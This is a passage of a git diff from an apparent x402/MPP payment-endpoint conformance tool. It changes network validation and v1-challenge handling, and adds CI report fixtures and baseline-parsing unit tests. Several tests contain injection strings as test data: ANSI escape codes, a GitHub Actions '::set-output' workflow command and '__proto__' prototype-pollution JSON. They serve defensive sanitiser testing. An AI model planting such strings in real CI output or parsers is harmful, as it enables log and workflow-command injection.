problems.map((problem) => problem.expected).join("; "), + actual: problems.map((problem) => problem.actual).join("; "), }; } return { @@ -245,6 +276,8 @@ const BASE58_32 = /^[1-9A-HJ-NP-Za-km-z]{32}$/; interface NetworkProblem { readonly reason: string; readonly fix: string; + /** What the network should look like, in a few words. */ + readonly expected: string; } const CAIP2_EXAMPLES = @@ -281,6 +314,7 @@ const NAMESPACE_RULES: Readonly< `"stellar:${reference}" does not match stellar:testnet or stellar:pubnet, ` + `the only Stellar networks CAIP-2 defines.`, fix: "Use stellar:testnet or stellar:pubnet.", + expected: "stellar:testnet or stellar:pubnet", }, eip155: (reference) => /^[1-9][0-9]*$/.test(reference) @@ -290,6 +324,7 @@ const NAMESPACE_RULES: Readonly< `"eip155:${reference}" does not carry an EIP-155 chain id in base 10, ` + `which the eip155 namespace requires (Base Sepolia is eip155:84532).`, fix: eip155Fix(reference), + expected: "eip155:", }, solana: (reference) => BASE58_32.test(reference) @@ -303,13 +338,14 @@ const NAMESPACE_RULES: Readonly< "Use the first 32 characters of the cluster's genesis hash (RPC " + "getGenesisHash): solana:EtWTRABZaYq6iMfeYKouRu166VU2xqa1 for devnet, " + "solana:5eykt4UsFv8P8NJdTREpY1vzqKqZKvdp for mainnet.", + expected: "solana:", }, }; /** What X402-05 established about one network identifier. */ export type NetworkVerdict = | { readonly valid: true; readonly namespace: string; readonly known: boolean } - | { readonly valid: false; readonly reason: string; readonly fix: string }; + | { readonly valid: false; readonly reason: string; readonly fix: string; readonly expected: string }; /** * Validates one network identifier against CAIP-2, which x402 v2 requires, @@ -329,6 +365,7 @@ export function validateNetwork(network: string): NetworkVerdict { `"${network}" is not a CAIP-2 identifier (namespace:reference, e.g. ` + `stellar:testnet or eip155:84532), which x402 v2 requires.`, fix: `Use the network's CAIP-2 id, namespace:reference, such as ${CAIP2_EXAMPLES}.`, + expected: "a CAIP-2 id, namespace:reference, such as stellar:testnet", }; } const namespace = match[1]!; @@ -353,7 +390,7 @@ export function checkNetworkIdentifier(payload: unknown): CheckResult { // Absent is X402-04's finding, not a second one: report it there only. if (advertised.length === 0) { - return skipped(id, name, "the challenge carries no network field to validate (see X402-04)."); + return skipped(id, name, "the challenge carries no network field to validate (see X402-04).", "dependency"); } const v1 = asRecord(payload)?.["x402Version"] === 1; @@ -374,6 +411,8 @@ export function checkNetworkIdentifier(payload: unknown): CheckResult { pass: false, detail: reasons.join(" ") + v1Note, hint: [...new Set(problems.map((problem) => problem.fix))].join(" "), + expected: invalid.map((entry, i) => optionLabel(entry.index, accepts.length) + problems[i]!.expected).join("; "), + actual: invalid.map((entry) => optionLabel(entry.index, accepts.length) + quoteValue(entry.network)).join("; "), }; } diff --git a/packages/core/src/x402/simulator.ts b/packages/core/src/x402/simulator.ts index 436912b..a5bc318 100644 --- a/packages/core/src/x402/simulator.ts +++ b/packages/core/src/x402/simulator.ts @@ -1,4 +1,4 @@ -import { errored, skipped, type CheckResult } from "../check.js"; +import { errored, quoteValue, skipped, type CheckResult } from "../check.js"; import { CheckSetupError, ConfigurationError, @@ -7,6 +7,7 @@ import { fetchTarget, } from "../errors.js"; import { assertPaymentNetworkAllowed } from "../guard/networks.js"; +import { sanitizeText } from "../sanitize.js"; import { checkNetworkIdentifier, checkRequiredFields } from "./requirements.js"; export type { CheckResult }; @@ -154,7 +155,7 @@ function statusHint(status: number): string { function skipAfter(id: string, reason: string): CheckResult[] { const index = READ_CHECKS.findIndex(([candidate]) => candidate === id); return READ_CHECKS.slice(index + 1).map(([checkId, name]) => - skipped(checkId, name, reason), + skipped(checkId, name, reason, "dependency"), ); } @@ -183,6 +184,12 @@ export function readV1BodyChallenge(body: string): Record | und return record?.["x402Version"] === 1 && Array.isArray(record["accepts"]) ? record : undefined; } +/** What a header that did not decode to JSON held, quoted. The service chose it; the sinks cut it. */ +function decodedStart(headerValue: string): string { + const decoded = Buffer.from(headerValue, "base64").toString("utf-8"); + return decoded === "" ? "an empty value" : `a value that starts with ${quoteValue(decoded)}`; +} + /** A body that cannot be read is simply not a v1 challenge. */ async function readText(response: Response): Promise { try { @@ -192,6 +199,22 @@ async function readText(response: Response): Promise { } } +/** + * Why an x402 v1 challenge is not graded: the reason on X402-02..05 and on the + * endpoint. Kept under 300 characters, the longest a value goes into a pull + * request comment, so the way to get graded is not cut off. + */ +const V1_UNSUPPORTED_REASON = + "the service sent an x402 v1 challenge in its response body. Wasit grades x402 v2, and the " + + "`exact` scheme on Stellar exists for v2 only, so this endpoint is unsupported, not failed. " + + "To have it graded, move to x402 v2: send the challenge base64-encoded in a PAYMENT-REQUIRED " + + "response header."; + +/** What a check found on a challenge Wasit does not grade, to be shown as a note. */ +function noteOf(result: CheckResult): string { + return result.skipped === true ? (result.skipReason ?? result.detail) : result.detail; +} + /** * Runs X402-01 through X402-05 against a target. * @@ -222,7 +245,9 @@ export async function runX402ReadChecks( let response: Response; try { - response = await fetchTarget(target, init); + // The unpaid request of the read-only tier: a redirect to another origin + // is reported and gives no verdict, never followed (spec A8 #5). + response = await fetchTarget(target, init, { redirects: "same-origin" }); } catch (error) { return emit([ errored("X402-01", "402 Response Status", error), @@ -241,7 +266,9 @@ export async function runX402ReadChecks( detail: statusPass ? "Server responded with 402 as required." : `Expected status 402, got ${response.status}.`, - ...(statusPass ? {} : { hint: statusHint(response.status) }), + ...(statusPass + ? {} + : { hint: statusHint(response.status), expected: "status 402", actual: `status ${response.status}` }), }; if (!statusPass) { @@ -260,12 +287,27 @@ export async function runX402ReadChecks( const headerValue = response.headers.get("PAYMENT-REQUIRED") ?? response.headers.get("X-Payment"); - // x402 v1 signals payment in the response body rather than a header. The - // `exact` scheme on Stellar is defined for v2 only, so a missing header is - // still X402-02's failure — but a v1 challenge in the body still has terms - // worth checking, and skipping them would hide which ones diverge. + // x402 v1 signals payment in the response body rather than a header, and the + // `exact` scheme on Stellar is defined for v2 only. Wasit grades v2, so a v1 + // service is unsupported, not failed (spec A3): X402-02..05 are skipped with + // that reason. The v1 terms are still read and reported as notes, so an + // operator sees which of them diverge without being handed a verdict. const v1Payload = headerValue === null ? readV1BodyChallenge(await readText(response)) : undefined; + if (headerValue === null && v1Payload !== undefined) { + const notes = new Map([ + ["X402-04", noteOf(checkRequiredFields(v1Payload))], + ["X402-05", noteOf(checkNetworkIdentifier(v1Payload))], + ]); + return emit([ + r1, + ...READ_CHECKS.slice(1).map(([id, name]) => { + const skip = skipped(id, name, V1_UNSUPPORTED_REASON, "unsupported"); + const note = notes.get(id); + return note === undefined ? skip : { ...skip, detail: `${skip.detail} Note, not a verdict: ${note}` }; + }), + ]); + } const r2: CheckResult = { id: "X402-02", @@ -274,42 +316,18 @@ export async function runX402ReadChecks( detail: headerValue !== null ? "Payment header found." - : v1Payload !== undefined - ? `Neither PAYMENT-REQUIRED nor X-Payment header was present. The ` + - `response body carries an x402 v1 challenge instead; x402 v2 signals ` + - `payment in the PAYMENT-REQUIRED header, and the \`exact\` scheme on ` + - `Stellar is defined for v2 only.` - : "Neither PAYMENT-REQUIRED nor X-Payment header was present.", + : "Neither PAYMENT-REQUIRED nor X-Payment header was present.", ...(headerValue !== null ? {} : { hint: - v1Payload !== undefined - ? "Move to x402 v2: send the challenge base64-encoded in a " + - "PAYMENT-REQUIRED response header instead of the body, with " + - "x402Version 2 and v2 field names." - : "Send the challenge as base64-encoded JSON in a PAYMENT-REQUIRED " + - "response header, as the x402 v2 HTTP transport defines.", + "Send the challenge as base64-encoded JSON in a PAYMENT-REQUIRED " + + "response header, as the x402 v2 HTTP transport defines.", + expected: "a PAYMENT-REQUIRED header", + actual: "no PAYMENT-REQUIRED or X-Payment header", }), }; - if (headerValue === null && v1Payload !== undefined) { - return emit([ - r1, - r2, - { - id: "X402-03", - name: "Header Payload Decodable", - pass: true, - detail: - "No header to decode; the x402 v1 challenge in the response body " + - "decoded to valid JSON.", - }, - checkRequiredFields(v1Payload), - checkNetworkIdentifier(v1Payload), - ]); - } - if (headerValue === null) { return emit([ r1, @@ -337,6 +355,8 @@ export async function runX402ReadChecks( hint: "Base64-encode the JSON PaymentRequired object for the header; raw " + "JSON or a truncated value does not decode.", + expected: "a base64 value that decodes to JSON", + actual: decodedStart(headerValue), }, ...skipAfter( "X402-03", @@ -397,19 +417,34 @@ class PaymentNotAttemptedError extends Error { } /** - * The adapter for the run's network. Throws `ConfigurationError` for a - * network the payment checks cannot pay on; preflight calls this before + * No payment adapter pays on this network, so the payment checks cannot be + * graded here. A `ConfigurationError`, so a caller that does not know the class + * still reads it as no verdict; preflight turns it into a skip of kind + * `unsupported` (spec A3). It is not the guard's refusal: `stellar:pubnet` has + * an adapter and is refused by `assertPaymentNetworkAllowed`, as an error. + */ +export class UnsupportedPaymentNetworkError extends ConfigurationError { + public readonly network: string; + + public constructor(network: string) { + super( + `Wasit's payment checks pay on ${paymentNetworks().join(", ")}; ` + + `${sanitizeText(JSON.stringify(String(network)))} is not one of them, so no payment ` + + `was attempted. X402-01..05 still apply to a challenge on any chain.`, + ); + this.name = "UnsupportedPaymentNetworkError"; + this.network = String(network); + } +} + +/** + * The adapter for the run's network. Throws `UnsupportedPaymentNetworkError` + * for a network the payment checks cannot pay on; preflight calls this before * anything is sent. */ function chainFor(network: string): PaymentChain { const chain = paymentChainFor(network); - if (chain === undefined) { - throw new ConfigurationError( - `The payment checks pay on ${paymentNetworks().join(", ")}; "${network}" is ` + - `not one of them. X402-01..05 still apply to a challenge on any chain ` + - `(--read-only, MCP readOnly).`, - ); - } + if (chain === undefined) throw new UnsupportedPaymentNetworkError(network); return chain; } @@ -1120,6 +1155,16 @@ export async function runX402PaymentChecks( ); } } catch (error) { + // A network no adapter pays on is not a failure of the run: Wasit does not + // grade it (spec A3). Every payment check is skipped as unsupported, and + // nothing was fetched or signed. The guard's refusals are not this: they + // are other errors, and stay a PREFLIGHT error below. + if (error instanceof UnsupportedPaymentNetworkError) { + const unsupported = [["X402-06", "Signature Resubmit Accepted"], ...NEGATIVE_CHECKS.map(([id, name]) => [id, name])] + .map(([id, name]) => skipped(id!, name!, error.message, "unsupported")); + for (const result of unsupported) options.onResult?.(result); + return unsupported; + } const preflight = errored("PREFLIGHT", "Run Preflight", error); options.onResult?.(preflight); return [preflight]; diff --git a/packages/core/test/fixtures/ci-report/failing-with-baseline.md b/packages/core/test/fixtures/ci-report/failing-with-baseline.md new file mode 100644 index 0000000..9b5f513 --- /dev/null +++ b/packages/core/test/fixtures/ci-report/failing-with-baseline.md @@ -0,0 +1,24 @@ + +**Wasit: non-conformant.** 3 graded (1 non-conformant) on local, stellar:testnet. Wasit 0.7.0 (core 0.7.0), x402 v2, @x402/core 2.28.0, @x402/stellar 2.28.0, @stellar/mpp 0.7.1, mppx 0.8.14, @stellar/stellar-sdk 16.1.0. + +| Endpoint | Protocol | Outcome | Checks | +| --- | --- | --- | --- | +| weather | x402 | non-conformant | challenge 4/5, 1 failed | +| summarize | x402 | conformant | challenge 5/5; payment not run: read-only tier | +| fresh | x402 | conformant | challenge 5/5; payment not run: read-only tier | + +### Changed since main +- New FAIL: weather X402-04 (was PASS on main). +- New endpoint: fresh. + +### Failures + +**weather: X402-04 Required Fields Present** +- Found: Missing: payTo, asset. +- Expected: payTo, asset present +- Actual: payTo, asset missing +- Fix: Add \`payTo\`: the address that receives the payment. Add \`asset\`: the address of the token the client pays in. +- Docs: https://usewasit.dev/docs/checks/x402 + +### Recent failures on main +- weather X402-04: failed in 1 of the last 3 runs on main diff --git a/packages/core/test/fixtures/ci-report/green-read-only-no-baseline.md b/packages/core/test/fixtures/ci-report/green-read-only-no-baseline.md new file mode 100644 index 0000000..cdb50f3 --- /dev/null +++ b/packages/core/test/fixtures/ci-report/green-read-only-no-baseline.md @@ -0,0 +1,9 @@ + +**Wasit: conformant.** 1 graded on local, stellar:testnet. Wasit 0.7.0 (core 0.7.0), x402 v2, @x402/core 2.28.0, @x402/stellar 2.28.0, @stellar/mpp 0.7.1, mppx 0.8.14, @stellar/stellar-sdk 16.1.0. + +| Endpoint | Protocol | Outcome | Checks | +| --- | --- | --- | --- | +| weather | x402 | conformant | challenge 5/5; payment not run: read-only tier | + +### Changed since main +No baseline on main yet, so nothing is compared. The next run on main creates it. diff --git a/packages/core/test/fixtures/ci-report/regression-vs-baseline.md b/packages/core/test/fixtures/ci-report/regression-vs-baseline.md new file mode 100644 index 0000000..75af379 --- /dev/null +++ b/packages/core/test/fixtures/ci-report/regression-vs-baseline.md @@ -0,0 +1,17 @@ + +**Wasit: regression.** 1 graded, 1 unsupported on local, stellar:testnet. Wasit 0.7.0 (core 0.7.0), x402 v2, @x402/core 2.28.0, @x402/stellar 2.28.0, @stellar/mpp 0.7.1, mppx 0.8.14, @stellar/stellar-sdk 16.1.0. + +| Endpoint | Protocol | Outcome | Checks | +| --- | --- | --- | --- | +| weather | x402 | conformant | challenge 5/5; payment not run: read-only tier | +| summarize | x402 | unsupported | challenge 1/5, 4 skipped; payment not run: read-only tier | + +### Not graded +- **summarize**: unsupported. the service sent an x402 v1 challenge in its response body. To have it graded, move to x402 v2: send the challenge base64-encoded in a PAYMENT-REQUIRED response header. + +### Changed since main +- Regression: summarize was conformant on main and is now unsupported. +- summarize X402-02: PASS on main, now SKIP. +- summarize X402-03: PASS on main, now SKIP. +- summarize X402-04: PASS on main, now SKIP. +- summarize X402-05: PASS on main, now SKIP. diff --git a/packages/core/test/fixtures/ci-report/v1-only-no-baseline.md b/packages/core/test/fixtures/ci-report/v1-only-no-baseline.md new file mode 100644 index 0000000..fb275f5 --- /dev/null +++ b/packages/core/test/fixtures/ci-report/v1-only-no-baseline.md @@ -0,0 +1,15 @@ + +**Wasit: nothing graded.** 0 graded, 1 unsupported on local, stellar:testnet. Wasit 0.7.0 (core 0.7.0), x402 v2, @x402/core 2.28.0, @x402/stellar 2.28.0, @stellar/mpp 0.7.1, mppx 0.8.14, @stellar/stellar-sdk 16.1.0. + +| Endpoint | Protocol | Outcome | Checks | +| --- | --- | --- | --- | +| old | x402 | unsupported | challenge 1/5, 4 skipped; payment not run: read-only tier | + +### Not graded +- **old**: unsupported. the service sent an x402 v1 challenge in its response body. To have it graded, move to x402 v2: send the challenge base64-encoded in a PAYMENT-REQUIRED response header. + +### Changed since main +No baseline on main yet, so nothing is compared. The next run on main creates it. + +### Notes +- Tier: read-only. Payment checks were not run. diff --git a/packages/core/test/fixtures/wasit.config.json b/packages/core/test/fixtures/wasit.config.json new file mode 100644 index 0000000..c6b4f13 --- /dev/null +++ b/packages/core/test/fixtures/wasit.config.json @@ -0,0 +1,57 @@ +{ + "version": 1, + "service": { + "start": "npm start", + "ready": { "url": "http://127.0.0.1:3000/", "timeoutSeconds": 60 } + }, + "defaultEnvironment": "local", + "environments": { + "local": { + "baseUrl": "http://127.0.0.1:3000", + "network": "stellar:testnet", + "operatedByMe": true + }, + "staging": { + "baseUrl": "https://staging.example.com/v1", + "network": "stellar:testnet", + "operatedByMe": true, + "pinned": { + "payTo": "GBNCC3VFT7PGUMGDQU5O35SXVWWTAHCO4LFFWLYFBLQCD56DNWYWM6ZS", + "asset": "CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA" + }, + "rpcUrl": "https://rpc.example.com/soroban", + "maxRunUsd": 2 + }, + "mainnet": { + "baseUrl": "https://api.example.com", + "network": "stellar:pubnet", + "operatedByMe": true + } + }, + "endpoints": [ + { "name": "weather", "protocol": "x402", "path": "/api/weather", "method": "GET" }, + { + "name": "summarize", + "protocol": "x402", + "path": "/api/summarize", + "method": "POST", + "headers": { "x-tenant": "demo" }, + "body": { "text": "hello" }, + "reject": { "body": { "text": "" }, "note": "empty text must be refused" } + }, + { "name": "raw", "protocol": "x402", "path": "/api/raw?mode=fast", "method": "POST", "body": "{\"verbatim\":true}" }, + { "name": "chat", "protocol": "mpp-charge", "path": "/mpp/chat" }, + { + "name": "stream", + "protocol": "mpp-channel", + "path": "/mpp/stream", + "channel": "CABQGAYDAMBQGAYDAMBQGAYDAMBQGAYDAMBQGAYDAMBQGAYDAMBQGCK3", + "expect": { + "token": "CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA", + "from": "GAAQCAIBAEAQCAIBAEAQCAIBAEAQCAIBAEAQCAIBAEAQCAIBAEAQDZ7H", + "to": "GBNCC3VFT7PGUMGDQU5O35SXVWWTAHCO4LFFWLYFBLQCD56DNWYWM6ZS", + "refundWaitingPeriod": 17280 + } + } + ] +} diff --git a/packages/core/test/unit/baseline.test.ts b/packages/core/test/unit/baseline.test.ts new file mode 100644 index 0000000..c8d1a04 --- /dev/null +++ b/packages/core/test/unit/baseline.test.ts @@ -0,0 +1,459 @@ +/** + * The baseline: the run report of the default branch, and the history carried + * with it (spec A5, A8 #4's validation side). It is data from an artifact: it is + * validated before use, and anything that does not validate is ignored. + * + * Also the diff against it ("Changed since main"), and the exit rule of a run + * with and without one (A8 #3, D-021). + */ + +import assert from "node:assert/strict"; +import { describe, it } from "node:test"; + +import { type CheckResult, skipped } from "../../src/check.js"; +import { + HISTORY_LIMIT, + MAX_BASELINE_BYTES, + ReportFormatError, + baselineProblem, + diffReports, + findRegressions, + parseRunReport, + readBaseline, + recentFailures, + selectBaseline, + serializeBaseline, + updateHistory, +} from "../../src/baseline.js"; +import { buildEndpointReport, buildRunReport, skippedPaymentChecks, type RunReport } from "../../src/report.js"; +import { readToolVersions } from "../../src/versions.js"; +import { runExitCode } from "../../src/verdict.js"; +import type { ProtocolId } from "../../src/catalogue.js"; + +function pass(id: string): CheckResult { + return { id, name: `${id} name`, pass: true, detail: "ok" }; +} +function fail(id: string, detail = "Expected status 402, got 200."): CheckResult { + return { id, name: `${id} name`, pass: false, detail, hint: "fix it" }; +} +const CHALLENGE = ["X402-01", "X402-02", "X402-03", "X402-04", "X402-05"]; + +/** All five challenge checks pass; the payment group is skipped, read-only. */ +function conformant(): CheckResult[] { + return [...CHALLENGE.map(pass), ...skippedPaymentChecks("x402", "read-only")]; +} +/** An x402 v1 service: X402-01 passes, the other four are unsupported. */ +function v1(): CheckResult[] { + return [pass("X402-01"), ...CHALLENGE.slice(1).map((id) => skipped(id, id, "x402 v1", "unsupported"))]; +} + +function endpoint(name: string, results: CheckResult[], protocol: ProtocolId = "x402") { + return buildEndpointReport({ name, protocol, method: "GET", path: `/${name}`, results }); +} + +function report(endpoints: ReturnType[], overrides: { environment?: string; startedAt?: string } = {}): RunReport { + return buildRunReport({ + environment: overrides.environment ?? "local", + network: "stellar:testnet", + startedAt: overrides.startedAt ?? "2026-11-15T10:00:00.000Z", + versions: readToolVersions("0.7.0"), + endpoints, + notes: [], + }); +} + +describe("parseRunReport", () => { + it("accepts a report Wasit wrote, and gives back the same report", () => { + const original = report([endpoint("weather", conformant()), endpoint("old", v1())]); + const parsed = parseRunReport(JSON.parse(JSON.stringify(original))); + assert.deepEqual(parsed, original); + }); + + it("keeps expected and actual on a FAIL, sanitised and cut, and adds none where there were none", () => { + const withValues: CheckResult = { ...fail("X402-01"), expected: "status 402", actual: "status 200" }; + const original = report([endpoint("weather", [withValues, pass("X402-02")])]); + const parsed = parseRunReport(JSON.parse(JSON.stringify(original))); + assert.deepEqual(parsed, original); + assert.equal(parsed.endpoints[0]!.results[0]!.expected, "status 402"); + assert.equal(parsed.endpoints[0]!.results[0]!.actual, "status 200"); + assert.ok(!("expected" in parsed.endpoints[0]!.results[1]!)); + + const forged = JSON.parse(JSON.stringify(original)); + forged.endpoints[0].results[0].actual = `bad\u001b[2J\n::set-output name=x::1 S${"A".repeat(55)} ${"z".repeat(5000)}`; + forged.endpoints[0].results[0].expected = 7; + assert.throws(() => parseRunReport(forged), ReportFormatError, "a value that is not a string is refused"); + forged.endpoints[0].results[0].expected = "status 402"; + const clean = parseRunReport(forged).endpoints[0]!.results[0]!.actual ?? ""; + assert.ok(!clean.includes("\u001b")); + assert.ok(!/^::/m.test(clean)); + assert.ok(!clean.includes("A".repeat(55))); + assert.ok(clean.length <= 500); + }); + + it("recomputes the totals and the group counts from the endpoints instead of trusting them", () => { + const original = report([endpoint("weather", conformant())]); + const forged = JSON.parse(JSON.stringify(original)); + forged.totals.graded = 99; + forged.endpoints[0].groups.challenge.passed = 99; + const parsed = parseRunReport(forged); + assert.equal(parsed.totals.graded, 1); + assert.equal(parsed.endpoints[0]!.groups.challenge?.passed, 5); + }); + + const mutations: ReadonlyArray) => void]> = [ + ["another schema version", (r) => (r["schema"] = 2)], + ["no endpoints list", (r) => delete r["endpoints"]], + ["endpoints that are not a list", (r) => (r["endpoints"] = {})], + ["an unknown outcome", (r) => (r["endpoints"][0].outcome = "great")], + ["an unknown status", (r) => (r["endpoints"][0].results[0].status = "MAYBE")], + ["an unknown protocol", (r) => (r["endpoints"][0].protocol = "ftp")], + ["an unknown skip kind", (r) => (r["endpoints"][0].results[6].skipKind = "whenever")], + ["a name that is not a string", (r) => (r["endpoints"][0].name = 7)], + ["a missing versions block", (r) => delete r["wasit"]], + ["an unknown network class", (r) => (r["networkClass"] = "dev")], + ["too many endpoints", (r) => (r["endpoints"] = Array(101).fill(r["endpoints"][0]))], + ["too many results", (r) => (r["endpoints"][0].results = Array(101).fill(r["endpoints"][0].results[0]))], + ]; + for (const [label, mutate] of mutations) { + it(`refuses ${label}, naming a path and no value`, () => { + const value = JSON.parse(JSON.stringify(report([endpoint("weather", conformant())]))); + mutate(value); + assert.throws( + () => parseRunReport(value), + (error: unknown) => error instanceof ReportFormatError && !/great|MAYBE|whenever/.test(error.message), + ); + }); + } + + it("refuses something that is not an object", () => { + for (const value of [null, 3, "x", [], true]) assert.throws(() => parseRunReport(value), ReportFormatError); + }); + + it("passes every string through the sanitiser, so a baseline cannot smuggle control characters or a secret", () => { + const value = JSON.parse(JSON.stringify(report([endpoint("weather", conformant())]))); + value.endpoints[0].results[0].detail = `bad\u001b[2J and S${"A".repeat(55)}\n::set-output name=x::1`; + const parsed = parseRunReport(value); + const detail = parsed.endpoints[0]!.results[0]!.detail; + assert.ok(!detail.includes("\u001b")); + assert.ok(!detail.includes("A".repeat(55))); + assert.ok(!/^::/m.test(detail)); + }); + + it("cuts a very long detail, and drops keys it does not know", () => { + const value = JSON.parse(JSON.stringify(report([endpoint("weather", conformant())]))); + value.endpoints[0].results[0].detail = "x".repeat(100_000); + value.extra = { evil: true }; + const parsed = parseRunReport(value) as unknown as Record; + assert.ok(parsed["extra"] === undefined); + assert.ok((parsed as unknown as RunReport).endpoints[0]!.results[0]!.detail.length <= 4000); + }); +}); + +describe("readBaseline", () => { + const good = report([endpoint("weather", conformant())]); + + it("reads a baseline file: the report with a history", () => { + const result = readBaseline(serializeBaseline(good, updateHistory(undefined, good))); + assert.equal(result.ok, true); + if (result.ok) { + assert.equal(result.baseline.report.endpoints[0]!.name, "weather"); + assert.equal(result.baseline.history["weather"]?.["X402-01"], "P"); + } + }); + + it("reads a plain run report too, and starts the history from it", () => { + const result = readBaseline(JSON.stringify(good)); + assert.equal(result.ok, true); + if (result.ok) assert.equal(result.baseline.history["weather"]?.["X402-06"], "S"); + }); + + const rejects: ReadonlyArray = [ + ["text that is not JSON", "not json {"], + ["an empty file", ""], + ["JSON that is not a report", '{"hello":"world"}'], + ["a list", "[]"], + ["a report with another schema", JSON.stringify({ ...good, schema: 3 })], + ["a history with a letter that is not a status", JSON.stringify({ ...good, history: { weather: { "X402-01": "PPXP" } } })], + ["a history longer than the limit", JSON.stringify({ ...good, history: { weather: { "X402-01": "P".repeat(HISTORY_LIMIT + 1) } } })], + ["a history that is not an object", JSON.stringify({ ...good, history: [] })], + ["a history whose entry is not an object", JSON.stringify({ ...good, history: { weather: "PPP" } })], + ]; + for (const [label, text] of rejects) { + it(`ignores ${label}: no throw, a reason`, () => { + const result = readBaseline(text); + assert.equal(result.ok, false); + if (!result.ok) assert.ok(result.reason.length > 0); + }); + } + + it("ignores a file over the size limit before parsing it", () => { + const result = readBaseline(" ".repeat(MAX_BASELINE_BYTES + 1)); + assert.equal(result.ok, false); + if (!result.ok) assert.match(result.reason, /larger than/); + }); + + it("does not let a __proto__ key change anything", () => { + const text = `{"schema":1,"__proto__":{"polluted":true},"history":{"__proto__":{"X402-01":"F"}}}`; + readBaseline(text); + assert.equal(({} as Record)["polluted"], undefined); + const withProto = readBaseline( + JSON.stringify(good).replace(/^\{/, '{"history":{"__proto__":{"X402-01":"PPP"}},'), + ); + assert.equal(({} as Record)["X402-01"], undefined); + assert.equal(withProto.ok, true); + }); +}); + +describe("baselineProblem", () => { + it("is fine for the same environment", () => { + const now = report([endpoint("weather", conformant())]); + assert.equal(baselineProblem(now, report([endpoint("weather", conformant())])), undefined); + }); + + it("refuses another environment: a regression must not come from comparing two different services", () => { + const now = report([endpoint("weather", conformant())], { environment: "staging" }); + const problem = baselineProblem(now, report([endpoint("weather", conformant())])); + assert.match(problem ?? "", /environment/); + assert.match(problem ?? "", /local/); + assert.match(problem ?? "", /staging/); + }); +}); + +describe("selectBaseline", () => { + const now = report([endpoint("weather", conformant())]); + + it("is empty when no baseline was looked for", () => { + assert.deepEqual(selectBaseline(now, undefined), {}); + }); + + it("gives the baseline when it validated and is from the same environment", () => { + const read = readBaseline(JSON.stringify(now)); + const selected = selectBaseline(now, read); + assert.ok(selected.baseline !== undefined); + assert.equal(selected.note, undefined); + }); + + it("gives the reason, and no baseline, when the file was ignored", () => { + const selected = selectBaseline(now, readBaseline("nope")); + assert.equal(selected.baseline, undefined); + assert.match(selected.note ?? "", /not valid JSON/); + }); + + it("gives the reason, and no baseline, for another environment", () => { + const other = report([endpoint("weather", conformant())], { environment: "staging" }); + const selected = selectBaseline(now, readBaseline(JSON.stringify(other))); + assert.equal(selected.baseline, undefined); + assert.match(selected.note ?? "", /staging/); + }); +}); + +describe("updateHistory", () => { + it("starts from one letter per check: P, F, E, S", () => { + const history = updateHistory( + undefined, + report([endpoint("weather", [pass("X402-01"), fail("X402-02")])]), + ); + assert.deepEqual(history, { weather: { "X402-01": "P", "X402-02": "F" } }); + }); + + it("appends the new run to the previous history, oldest first", () => { + const first = updateHistory(undefined, report([endpoint("weather", [pass("X402-01")])])); + const second = updateHistory(first, report([endpoint("weather", [fail("X402-01")])])); + const third = updateHistory(second, report([endpoint("weather", [skipped("X402-01", "x", "r")])])); + assert.equal(third["weather"]?.["X402-01"], "PFS"); + }); + + it("keeps the last 20 runs only", () => { + let history = updateHistory(undefined, report([endpoint("weather", [fail("X402-01")])])); + for (let run = 0; run < 25; run += 1) history = updateHistory(history, report([endpoint("weather", [pass("X402-01")])])); + assert.equal(history["weather"]?.["X402-01"], "P".repeat(HISTORY_LIMIT)); + }); + + it("drops an endpoint or a check that is no longer in the report, and starts a new one", () => { + const first = updateHistory(undefined, report([endpoint("old", [pass("X402-01")]), endpoint("weather", [pass("X402-01"), pass("X402-02")])])); + const next = updateHistory(first, report([endpoint("weather", [pass("X402-01")]), endpoint("fresh", [fail("X402-01")])])); + assert.deepEqual(next, { weather: { "X402-01": "PP" }, fresh: { "X402-01": "F" } }); + }); + + it("gives an ERROR the letter E", () => { + const errorResult: CheckResult = { id: "X402-01", name: "x", pass: false, detail: "d", error: { kind: "unreachable", message: "m" } }; + assert.equal(updateHistory(undefined, report([endpoint("weather", [errorResult])]))["weather"]?.["X402-01"], "E"); + }); +}); + +describe("recentFailures", () => { + it("counts the F in each history and the length of it, most failures first, and skips checks that never failed", () => { + const failures = recentFailures({ + weather: { "X402-01": "PPPP", "X402-04": "PFPF" }, + chat: { "X402-01": "FFPP" }, + }); + assert.deepEqual(failures, [ + { endpoint: "weather", check: "X402-04", failed: 2, runs: 4 }, + { endpoint: "chat", check: "X402-01", failed: 2, runs: 4 }, + ]); + }); +}); + +describe("diffReports", () => { + it("is empty when nothing changed", () => { + const now = report([endpoint("weather", conformant())]); + assert.deepEqual(diffReports(now, report([endpoint("weather", conformant())])), []); + }); + + it("names a new FAIL with the check and what it was", () => { + const before = report([endpoint("weather", conformant())]); + const now = report([endpoint("weather", [pass("X402-01"), fail("X402-02")])]); + const changes = diffReports(now, before); + assert.deepEqual( + changes.filter((change) => change.kind === "new-failure"), + [{ kind: "new-failure", endpoint: "weather", check: "X402-02", from: "PASS", to: "FAIL" }], + ); + }); + + it("names a fixed check", () => { + const before = report([endpoint("weather", [pass("X402-01"), fail("X402-02")])]); + const now = report([endpoint("weather", conformant())]); + assert.deepEqual( + diffReports(now, before).filter((change) => change.kind === "fixed"), + [{ kind: "fixed", endpoint: "weather", check: "X402-02", from: "FAIL", to: "PASS" }], + ); + }); + + it("names a new endpoint and a removed one", () => { + const before = report([endpoint("weather", conformant()), endpoint("gone", conformant())]); + const now = report([endpoint("weather", conformant()), endpoint("fresh", conformant())]); + const changes = diffReports(now, before); + assert.ok(changes.some((change) => change.kind === "new-endpoint" && change.endpoint === "fresh")); + assert.ok(changes.some((change) => change.kind === "removed-endpoint" && change.endpoint === "gone")); + }); + + it("names a graded endpoint that is now unsupported a regression, and the checks that changed under it", () => { + const before = report([endpoint("weather", conformant())]); + const now = report([endpoint("weather", [...v1(), ...skippedPaymentChecks("x402", "read-only")])]); + const changes = diffReports(now, before); + assert.deepEqual( + changes.filter((change) => change.kind === "regression"), + [{ kind: "regression", endpoint: "weather", from: "conformant", to: "unsupported" }], + ); + assert.ok(changes.some((change) => change.kind === "status-changed" && change.check === "X402-02")); + }); + + it("names an endpoint that is graded now and was not 'graded'", () => { + const before = report([endpoint("weather", v1())]); + const now = report([endpoint("weather", conformant())]); + assert.deepEqual( + diffReports(now, before).filter((change) => change.kind === "graded"), + [{ kind: "graded", endpoint: "weather", from: "unsupported", to: "conformant" }], + ); + }); + + it("does not report a check that is only in one of the two as a change", 